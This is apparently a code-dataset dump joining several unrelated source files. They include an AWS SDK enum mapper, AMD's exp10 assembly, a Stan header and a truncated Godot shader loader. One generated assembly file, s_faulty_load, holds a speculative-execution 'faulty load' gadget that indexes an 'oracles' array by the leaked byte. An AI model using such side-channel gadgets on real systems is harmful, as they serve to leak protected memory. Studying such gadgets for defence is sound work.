text
stringlengths
1
1.05M
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <aws/monitoring/model/StandardUnit.h> #include <aws/core/utils/HashingUtils.h> #include <aws/core/Globals.h> #include <aws/core/utils/EnumParseOverflowContainer.h> using namespace Aws::Utils; namespace Aws { namespace CloudWatch { namespace Model { namespace StandardUnitMapper { static const int Seconds_HASH = HashingUtils::HashString("Seconds"); static const int Microseconds_HASH = HashingUtils::HashString("Microseconds"); static const int Milliseconds_HASH = HashingUtils::HashString("Milliseconds"); static const int Bytes_HASH = HashingUtils::HashString("Bytes"); static const int Kilobytes_HASH = HashingUtils::HashString("Kilobytes"); static const int Megabytes_HASH = HashingUtils::HashString("Megabytes"); static const int Gigabytes_HASH = HashingUtils::HashString("Gigabytes"); static const int Terabytes_HASH = HashingUtils::HashString("Terabytes"); static const int Bits_HASH = HashingUtils::HashString("Bits"); static const int Kilobits_HASH = HashingUtils::HashString("Kilobits"); static const int Megabits_HASH = HashingUtils::HashString("Megabits"); static const int Gigabits_HASH = HashingUtils::HashString("Gigabits"); static const int Terabits_HASH = HashingUtils::HashString("Terabits"); static const int Percent_HASH = HashingUtils::HashString("Percent"); static const int Count_HASH = HashingUtils::HashString("Count"); static const int Bytes_Second_HASH = HashingUtils::HashString("Bytes/Second"); static const int Kilobytes_Second_HASH = HashingUtils::HashString("Kilobytes/Second"); static const int Megabytes_Second_HASH = HashingUtils::HashString("Megabytes/Second"); static const int Gigabytes_Second_HASH = HashingUtils::HashString("Gigabytes/Second"); static const int Terabytes_Second_HASH = HashingUtils::HashString("Terabytes/Second"); static const int Bits_Second_HASH = HashingUtils::HashString("Bits/Second"); static const int Kilobits_Second_HASH = HashingUtils::HashString("Kilobits/Second"); static const int Megabits_Second_HASH = HashingUtils::HashString("Megabits/Second"); static const int Gigabits_Second_HASH = HashingUtils::HashString("Gigabits/Second"); static const int Terabits_Second_HASH = HashingUtils::HashString("Terabits/Second"); static const int Count_Second_HASH = HashingUtils::HashString("Count/Second"); static const int None_HASH = HashingUtils::HashString("None"); StandardUnit GetStandardUnitForName(const Aws::String& name) { int hashCode = HashingUtils::HashString(name.c_str()); if (hashCode == Seconds_HASH) { return StandardUnit::Seconds; } else if (hashCode == Microseconds_HASH) { return StandardUnit::Microseconds; } else if (hashCode == Milliseconds_HASH) { return StandardUnit::Milliseconds; } else if (hashCode == Bytes_HASH) { return StandardUnit::Bytes; } else if (hashCode == Kilobytes_HASH) { return StandardUnit::Kilobytes; } else if (hashCode == Megabytes_HASH) { return StandardUnit::Megabytes; } else if (hashCode == Gigabytes_HASH) { return StandardUnit::Gigabytes; } else if (hashCode == Terabytes_HASH) { return StandardUnit::Terabytes; } else if (hashCode == Bits_HASH) { return StandardUnit::Bits; } else if (hashCode == Kilobits_HASH) { return StandardUnit::Kilobits; } else if (hashCode == Megabits_HASH) { return StandardUnit::Megabits; } else if (hashCode == Gigabits_HASH) { return StandardUnit::Gigabits; } else if (hashCode == Terabits_HASH) { return StandardUnit::Terabits; } else if (hashCode == Percent_HASH) { return StandardUnit::Percent; } else if (hashCode == Count_HASH) { return StandardUnit::Count; } else if (hashCode == Bytes_Second_HASH) { return StandardUnit::Bytes_Second; } else if (hashCode == Kilobytes_Second_HASH) { return StandardUnit::Kilobytes_Second; } else if (hashCode == Megabytes_Second_HASH) { return StandardUnit::Megabytes_Second; } else if (hashCode == Gigabytes_Second_HASH) { return StandardUnit::Gigabytes_Second; } else if (hashCode == Terabytes_Second_HASH) { return StandardUnit::Terabytes_Second; } else if (hashCode == Bits_Second_HASH) { return StandardUnit::Bits_Second; } else if (hashCode == Kilobits_Second_HASH) { return StandardUnit::Kilobits_Second; } else if (hashCode == Megabits_Second_HASH) { return StandardUnit::Megabits_Second; } else if (hashCode == Gigabits_Second_HASH) { return StandardUnit::Gigabits_Second; } else if (hashCode == Terabits_Second_HASH) { return StandardUnit::Terabits_Second; } else if (hashCode == Count_Second_HASH) { return StandardUnit::Count_Second; } else if (hashCode == None_HASH) { return StandardUnit::None; } EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer(); if(overflowContainer) { overflowContainer->StoreOverflow(hashCode, name); return static_cast<StandardUnit>(hashCode); } return StandardUnit::NOT_SET; } Aws::String GetNameForStandardUnit(StandardUnit enumValue) { switch(enumValue) { case StandardUnit::Seconds: return "Seconds"; case StandardUnit::Microseconds: return "Microseconds"; case StandardUnit::Milliseconds: return "Milliseconds"; case StandardUnit::Bytes: return "Bytes"; case StandardUnit::Kilobytes: return "Kilobytes"; case StandardUnit::Megabytes: return "Megabytes"; case StandardUnit::Gigabytes: return "Gigabytes"; case StandardUnit::Terabytes: return "Terabytes"; case StandardUnit::Bits: return "Bits"; case StandardUnit::Kilobits: return "Kilobits"; case StandardUnit::Megabits: return "Megabits"; case StandardUnit::Gigabits: return "Gigabits"; case StandardUnit::Terabits: return "Terabits"; case StandardUnit::Percent: return "Percent"; case StandardUnit::Count: return "Count"; case StandardUnit::Bytes_Second: return "Bytes/Second"; case StandardUnit::Kilobytes_Second: return "Kilobytes/Second"; case StandardUnit::Megabytes_Second: return "Megabytes/Second"; case StandardUnit::Gigabytes_Second: return "Gigabytes/Second"; case StandardUnit::Terabytes_Second: return "Terabytes/Second"; case StandardUnit::Bits_Second: return "Bits/Second"; case StandardUnit::Kilobits_Second: return "Kilobits/Second"; case StandardUnit::Megabits_Second: return "Megabits/Second"; case StandardUnit::Gigabits_Second: return "Gigabits/Second"; case StandardUnit::Terabits_Second: return "Terabits/Second"; case StandardUnit::Count_Second: return "Count/Second"; case StandardUnit::None: return "None"; default: EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer(); if(overflowContainer) { return overflowContainer->RetrieveOverflow(static_cast<int>(enumValue)); } return {}; } } } // namespace StandardUnitMapper } // namespace Model } // namespace CloudWatch } // namespace Aws
; A183060: Number of "ON" cells at n-th stage in a simple 2-dimensional cellular automaton (see Comments for precise definition). ; 0,1,4,7,14,17,24,31,50,53,60,67,86,93,112,131,186,189,196,203,222,229,248,267,322,329,348,367,422,441,496,551,714,717,724,731,750,757,776,795,850,857,876,895,950,969,1024,1079,1242,1249,1268,1287,1342,1361,1416,1471,1634,1653,1708,1763,1926,1981,2144,2307,2794,2797,2804,2811,2830,2837,2856,2875,2930,2937,2956,2975,3030,3049,3104,3159,3322,3329,3348,3367,3422,3441,3496,3551,3714,3733,3788,3843,4006,4061,4224,4387,4874,4881,4900,4919,4974,4993,5048,5103,5266,5285,5340,5395,5558,5613,5776,5939,6426,6445,6500,6555,6718,6773,6936,7099,7586,7641,7804,7967,8454,8617,9104,9591,11050,11053,11060,11067,11086,11093,11112,11131,11186,11193,11212,11231,11286,11305,11360,11415,11578,11585,11604,11623,11678,11697,11752,11807,11970,11989,12044,12099,12262,12317,12480,12643,13130,13137,13156,13175,13230,13249,13304,13359,13522,13541,13596,13651,13814,13869,14032,14195,14682,14701,14756,14811,14974,15029,15192,15355,15842,15897,16060,16223,16710,16873,17360,17847,19306,19313,19332,19351,19406,19425,19480,19535,19698,19717,19772,19827,19990,20045,20208,20371,20858,20877,20932,20987,21150,21205,21368,21531,22018,22073,22236,22399,22886,23049,23536,24023,25482,25501,25556,25611,25774,25829,25992,26155,26642,26697,26860,27023,27510,27673,28160,28647,30106,30161,30324,30487,30974,31137,31624,32111,33570,33733 mov $2,$0 cal $0,147562 ; Number of "ON" cells at n-th stage in the "Ulam-Warburton" two-dimensional cellular automaton. mov $1,$0 div $1,2 add $1,$2
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; include exp_tables.inc include fm.inc FN_PROTOTYPE_BAS64 vrd2_exp10 p_temp equ 0 ; temporary for get/put bits operation p_temp1 equ 10h ; temporary for get/put bits operation save_xmm10 equ 20h save_rbx equ 30h stack_size EQU 0A8h StackAllocate MACRO size sub rsp, size .ALLOCSTACK size ENDM text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size movdqa OWORD PTR [rsp+save_xmm10],xmm10 ; save xmm10 .SAVEXMM128 xmm10, save_xmm10 mov QWORD PTR [rsp+save_rbx],rbx ; save rbx .SAVEREG rbx, save_rbx .ENDPROLOG movupd xmm0, XMMWORD PTR [rcx] movdqa xmm10,xmm0 ; save for later use ; x * (64/log10(2)) movapd xmm1,xmm0 mulpd xmm1,L__real_64_by_log10of2 ; n = int( x * (64/log10(2)) ) cvttpd2dq xmm2,xmm1 ;xmm2 = (int)n1,n0 cvtdq2pd xmm1,xmm2 ;xmm1 = (double)n1,n0 movd rcx,xmm2 ;rcx = (int)n1,n0 movdqa xmm5,xmm2 ;xmm5 = (int)n1,n0 movdqa xmm2,xmm1 ;xmm2 = (double)n1,n0 ; r1 = x - n * log10(2)/64 head mulpd xmm1,L__log10of2_by_64_mhead ;j = n & 03fh mov rax,00000003f0000003fh and rax,rcx ;rax = j1,j0 mov rbx,rax shl rax,32 shr rax,32 ;rax = j0 shr rbx,32 ;rbx = j1 ; m = (n - j) / 64 psrad xmm5,6 ;xmm5 = m1,m0 ; r2 = - n * log10(2)/64 tail mulpd xmm2,L__log10of2_by_64_mtail ;xmm2 = r21,r20 addpd xmm0,xmm1 ;xmm0 = r11,r10 ; r1 *= ln10 ; ; r2 *= ln10 ; mulpd xmm0,L__ln10 mulpd xmm2,L__ln10 ; r1+r2 addpd xmm2,xmm0 ;xmm2 = r ; q = r + r^2*1/2 + r^3*1/6 + r^4 *1/24 + r^5*1/120 + r^6*1/720 ; q = r + r*r*(1/2 + r*(1/6+ r*(1/24 + r*(1/120 + r*(1/720))))) movapd xmm3,L__real_1_by_720 ;xmm3 = 1/720 mulpd xmm3,xmm2 ;xmm3 = r*1/720 movapd xmm0,L__real_1_by_6 ;xmm0 = 1/6 movapd xmm1,xmm2 ;xmm1 = r mulpd xmm0,xmm2 ;xmm0 = r*1/6 addpd xmm3,L__real_1_by_120 ;xmm3 = 1/120 + (r*1/720) mulpd xmm1,xmm2 ;xmm1 = r*r addpd xmm0,L__real_1_by_2 ;xmm0 = 1/2 + (r*1/6) movapd xmm4,xmm1 ;xmm4 = r*r mulpd xmm4,xmm1 ;xmm4 = (r*r) * (r*r) mulpd xmm3,xmm2 ;xmm3 = r * (1/120 + (r*1/720)) mulpd xmm0,xmm1 ;xmm0 = (r*r)*(1/2 + (r*1/6)) addpd xmm3,L__real_1_by_24 ;xmm3 = 1/24 + (r * (1/120 + (r*1/720))) addpd xmm0,xmm2 ;xmm0 = r + ((r*r)*(1/2 + (r*1/6))) mulpd xmm3,xmm4 ;xmm3 = ((r*r) * (r*r)) * (1/24 + (r * (1/120 + (r*1/720)))) addpd xmm0,xmm3 ;xmm0 = r + ((r*r)*(1/2 + (r*1/6))) + ((r*r) * (r*r)) * (1/24 + (r * (1/120 + (r*1/720)))) ; (f)*(q) + f2 + f1 lea rcx,L__two_to_jby64_table lea r11,L__two_to_jby64_tail_table lea r10,L__two_to_jby64_head_table movsd xmm1,QWORD PTR [rcx+rax*8] movhpd xmm1,QWORD PTR [rcx+rbx*8] mulpd xmm0,xmm1 movsd xmm1,QWORD PTR [r11+rax*8] movhpd xmm1,QWORD PTR [r11+rbx*8] addpd xmm0,xmm1 movsd xmm1,QWORD PTR [r10+rax*8] movhpd xmm1,QWORD PTR [r10+rbx*8] addpd xmm0,xmm1 movhlps xmm1,xmm0 ;save higher part movd rcx,xmm5 ;rcx = m1,m0 mov ebx,2 ; L__denormal_check: cmp ecx,0fffffc02h ; -1022 jle L__process_denormal L__process_normal: psllq xmm5,52 paddq xmm0,xmm5 dec ebx jz L__ret ;completed processing of the two elements shr rcx,32 ;get m1 to ecx movlhps xmm1,xmm0 ;save result0 movdqa xmm0,xmm1 ;put higer part for processing movd xmm5,rcx ;move m1 to xmm5 jmp L__denormal_check ;repeat for second input ALIGN 16 L__process_denormal: jl L__process_true_denormal ucomisd xmm0,L__real_one jae L__process_normal L__process_true_denormal: ; here ( e^r < 1 and m = -1022 ) or m <= -1023 add ecx,1074 mov rax,1 shl rax,cl movd xmm2,rax mulsd xmm0,xmm2 dec ebx jz L__ret ;completed processing of the two elements movd rcx,xmm5 shr rcx,32 ;get m1 to ecx movlhps xmm1,xmm0 ;save result0 movdqa xmm0,xmm1 ;put higer part for processing movd xmm5,rcx ;move m1 to xmm5 jmp L__denormal_check ;repeat for second input ALIGN 16 L__ret: movdqa xmm2,xmm0 ;save result1 movhlps xmm0,xmm1 ;get result0 to correct position movlhps xmm0,xmm2 ;get result1 to correct position ; ;special case for any x < min_exp_arg ; ;remove this code if the above code takes care of this movdqa xmm1,XMMWORD PTR L__min_exp10_arg cmpltpd xmm1,xmm10 pand xmm0,xmm1 ;make zeros to put in place of any x < min_exp2_arg ; ;special case for any x > max_exp_arg ; ;remove this code if the above code takes care of this movdqa xmm3,xmm10 movdqa xmm1,XMMWORD PTR L__max_exp10_arg cmpltpd xmm3,xmm1 pand xmm0,xmm3 movdqa xmm2,XMMWORD PTR L__real_inf ;make inf to put in place of any x > max_exp_arg pandn xmm3,xmm2 por xmm0,xmm3 ; ;special case for any x = nan ; ;remove this code if the above code takes care of this movdqa xmm1,xmm10 cmpeqpd xmm10,xmm10 pand xmm0,xmm10 addpd xmm1,xmm1 ;make qnan to put in place of any x =nan pandn xmm10,xmm1 por xmm0,xmm10 movdqa xmm10,OWORD PTR [rsp+save_xmm10] ; restore xmm10 mov rbx,QWORD PTR [rsp+save_rbx] ; restore rbx add rsp,stack_size ret fname endp TEXT ENDS data SEGMENT READ CONST SEGMENT ALIGN 16 L__max_exp10_arg DQ 040734413509f79ffh DQ 040734413509f79ffh L__min_exp10_arg DQ 0c07434e6420f4374h DQ 0c07434e6420f4374h L__real_64_by_log10of2 DQ 0406A934F0979A371h DQ 0406A934F0979A371h ; 64/log10(2) L__ln10 DQ 040026BB1BBB55516h DQ 040026BB1BBB55516h L__log10of2_by_64_mhead DQ 0bF73441350000000h DQ 0bF73441350000000h L__log10of2_by_64_mtail DQ 0bda3ef3fde623e25h DQ 0bda3ef3fde623e25h L__real_one DQ 03ff0000000000000h DQ 03ff0000000000000h L__real_inf DQ 07ff0000000000000h DQ 07ff0000000000000h CONST ENDS data ENDS END
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r9 push %rax push %rbp push %rbx // Store lea addresses_PSE+0xe9e2, %r12 nop nop nop nop sub %rax, %rax mov $0x5152535455565758, %r9 movq %r9, (%r12) nop nop nop nop nop inc %r10 // Store lea addresses_normal+0x1a0f6, %rbp nop nop nop nop cmp $79, %r10 movl $0x51525354, (%rbp) sub %rbp, %rbp // Store lea addresses_RW+0x15ce2, %rbp nop nop nop cmp $29614, %r9 movb $0x51, (%rbp) nop add %rbx, %rbx // Load mov $0x3e2, %r12 nop nop nop nop nop xor %r15, %r15 mov (%r12), %ax nop nop nop add %r15, %r15 // Load lea addresses_WT+0x75c2, %r9 nop nop nop nop nop and %rax, %rax mov (%r9), %bx nop nop sub %r9, %r9 // Faulty Load lea addresses_WT+0x157e2, %rax nop nop nop add %r15, %r15 mov (%rax), %r10w lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rbx pop %rbp pop %rax pop %r9 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_RW', 'AVXalign': False, 'size': 1}} {'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_P', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
#ifndef STAN_MATH_PRIM_SCAL_META_STDVECTORBUILDER_HPP #define STAN_MATH_PRIM_SCAL_META_STDVECTORBUILDER_HPP #include <stan/math/prim/scal/meta/VectorBuilderHelper.hpp> #include <stan/math/prim/scal/meta/contains_std_vector.hpp> namespace stan { /** * StdVectorBuilder allocates type T1 values to be used as * intermediate values. * * If any of T2 to T7 have the type std::vector<T>, the data * function will return a std::vector<T1> as output. * * If none of T2 to T7 have type std::vector<T>, the data function * will return a T1 as output. * * Whichever case is true, StdVectorBuilder presents a consistent * vector-like interface (through size() and operator[](int i)) * for constructing the output * * The difference between this and VectorBuilder is that VectorBuilder * counts Eigen::Matrix<T, Dynamic, 1> and Eigen::Matrix<T, 1, Dynamic> * types as vectors. * * @tparam used boolean variable indicating whether this instance * is used. If this is false, there is no storage allocated * and operator[] throws a std::logic_error. * @tparam T1 Type of vector to build */ template <bool used, typename T1, typename T2, typename T3 = double, typename T4 = double, typename T5 = double, typename T6 = double, typename T7 = double> class StdVectorBuilder { private: typedef VectorBuilderHelper< T1, used, contains_std_vector<T2, T3, T4, T5, T6, T7>::value> helper; public: typedef typename helper::type type; helper a; explicit StdVectorBuilder(size_t n) : a(n) {} T1& operator[](size_t i) { return a[i]; } inline type data() { return a.data(); } }; } // namespace stan #endif
/*************************************************************************/ /* shader.cpp */ /*************************************************************************/ /* This file is part of: */ /* GODOT ENGINE */ /* http://www.godotengine.org */ /*************************************************************************/ /* Copyright (c) 2007-2014 Juan Linietsky, Ariel Manzur. */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #include "shader.h" #include "servers/visual_server.h" #include "texture.h" #include "os/file_access.h" #include "scene/scene_string_names.h" void Shader::set_mode(Mode p_mode) { ERR_FAIL_INDEX(p_mode,2); VisualServer::get_singleton()->shader_set_mode(shader,VisualServer::ShaderMode(p_mode)); emit_signal(SceneStringNames::get_singleton()->changed); } Shader::Mode Shader::get_mode() const { return (Mode)VisualServer::get_singleton()->shader_get_mode(shader); } void Shader::set_code( const String& p_vertex, const String& p_fragment, int p_vertex_ofs,int p_fragment_ofs) { VisualServer::get_singleton()->shader_set_code(shader,p_vertex,p_fragment,p_vertex_ofs,p_fragment_ofs); params_cache_dirty=true; emit_signal(SceneStringNames::get_singleton()->changed); } String Shader::get_vertex_code() const { return VisualServer::get_singleton()->shader_get_vertex_code(shader); } String Shader::get_fragment_code() const { return VisualServer::get_singleton()->shader_get_fragment_code(shader); } bool Shader::has_param(const StringName& p_param) const { if (params_cache_dirty) get_param_list(NULL); return (params_cache.has(p_param)); } void Shader::get_param_list(List<PropertyInfo> *p_params) const { List<PropertyInfo> local; VisualServer::get_singleton()->shader_get_param_list(shader,&local); params_cache.clear(); params_cache_dirty=false; for(List<PropertyInfo>::Element *E=local.front();E;E=E->next()) { PropertyInfo pi=E->get(); pi.name="param/"+pi.name; params_cache[pi.name]=E->get().name; if (p_params) { //small little hack if (pi.type==Variant::_RID) pi.type=Variant::OBJECT; p_params->push_back(pi); } } } RID Shader::get_rid() const { return shader; } Dictionary Shader::_get_code() { String fs = VisualServer::get_singleton()->shader_get_fragment_code(shader); String vs = VisualServer::get_singleton()->shader_get_vertex_code(shader); Dictionary c; c["fragment"]=fs; c["fragment_ofs"]=0; c["vertex"]=vs; c["vertex_ofs"]=0; return c; } void Shader::_set_code(const Dictionary& p_string) { ERR_FAIL_COND(!p_string.has("fragment")); ERR_FAIL_COND(!p_string.has("vertex")); set_code(p_string["vertex"],p_string["fragment"]); } void Shader::_bind_methods() { ObjectTypeDB::bind_method(_MD("set_mode","mode"),&Shader::set_mode); ObjectTypeDB::bind_method(_MD("get_mode"),&Shader::get_mode); ObjectTypeDB::bind_method(_MD("set_code","vcode","fcode","vofs","fofs"),&Shader::set_code,DEFVAL(0),DEFVAL(0)); ObjectTypeDB::bind_method(_MD("get_vertex_code"),&Shader::get_vertex_code); ObjectTypeDB::bind_method(_MD("get_fragment_code"),&Shader::get_fragment_code); ObjectTypeDB::bind_method(_MD("has_param","name"),&Shader::has_param); ObjectTypeDB::bind_method(_MD("_set_code","code"),&Shader::_set_code); ObjectTypeDB::bind_method(_MD("_get_code"),&Shader::_get_code); //ObjectTypeDB::bind_method(_MD("get_param_list"),&Shader::get_fragment_code); ADD_PROPERTY( PropertyInfo(Variant::STRING, "_code",PROPERTY_HINT_NONE,"",PROPERTY_USAGE_NOEDITOR), _SCS("_set_code"), _SCS("_get_code") ); BIND_CONSTANT( MODE_MATERIAL ); BIND_CONSTANT( MODE_CANVAS_ITEM ); BIND_CONSTANT( MODE_POST_PROCESS ); } Shader::Shader() { shader = VisualServer::get_singleton()->shader_create(); params_cache_dirty=true; } Shader::~Shader() { VisualServer::get_singleton()->free(shader); } /************ Loader from text ***************/ RES ResourceFormatLoaderShader::load(const String &p_path,const String& p_original_path) { String fragment_code; String vertex_code; int mode=-1; Error err; FileAccess *f = FileAccess::open(p_path,FileAccess::READ,&err); ERR_EXPLAIN("Unable to open shader file: "+p_path); ERR_FAIL_COND_V(err,RES()); String base_path = p_path.get_base_dir(); Ref<Shader> shader( memnew( Shader ) ); int line=0; while(!f->eof_reached()) { String l = f->get_line(); line++; if (mode<=0) { l = l.strip_edges(); int comment = l.find(";"); if (comment!=-1) l=l.substr(0,comment); } if (mode<1) vertex_code+="\n"; if (mode<2) fragment_code+="\n"; if (mode < 1 && l=="") continue; if (l.begins_with("[")) { l=l.strip_edges(); if (l=="[params]") { if (mode>=0) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Misplaced [params] section."); ERR_FAIL_V(RES()); } mode=0; } else if (l=="[vertex]") { if (mode>=1) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Misplaced [vertex] section."); ERR_FAIL_V(RES()); } mode=1; } else if (l=="[fragment]") { if (mode>=2) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Misplaced [fragment] section."); ERR_FAIL_V(RES()); } mode=1; } else { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Unknown section type: '"+l+"'."); ERR_FAIL_V(RES()); } continue; } if (mode==0) { int eqpos = l.find("="); if (eqpos==-1) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Expected '='."); ERR_FAIL_V(RES()); } String right=l.substr(eqpos+1,l.length()).strip_edges(); if (right=="") { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Expected value after '='."); ERR_FAIL_V(RES()); } Variant value; if (right=="true") { value = true; } else if 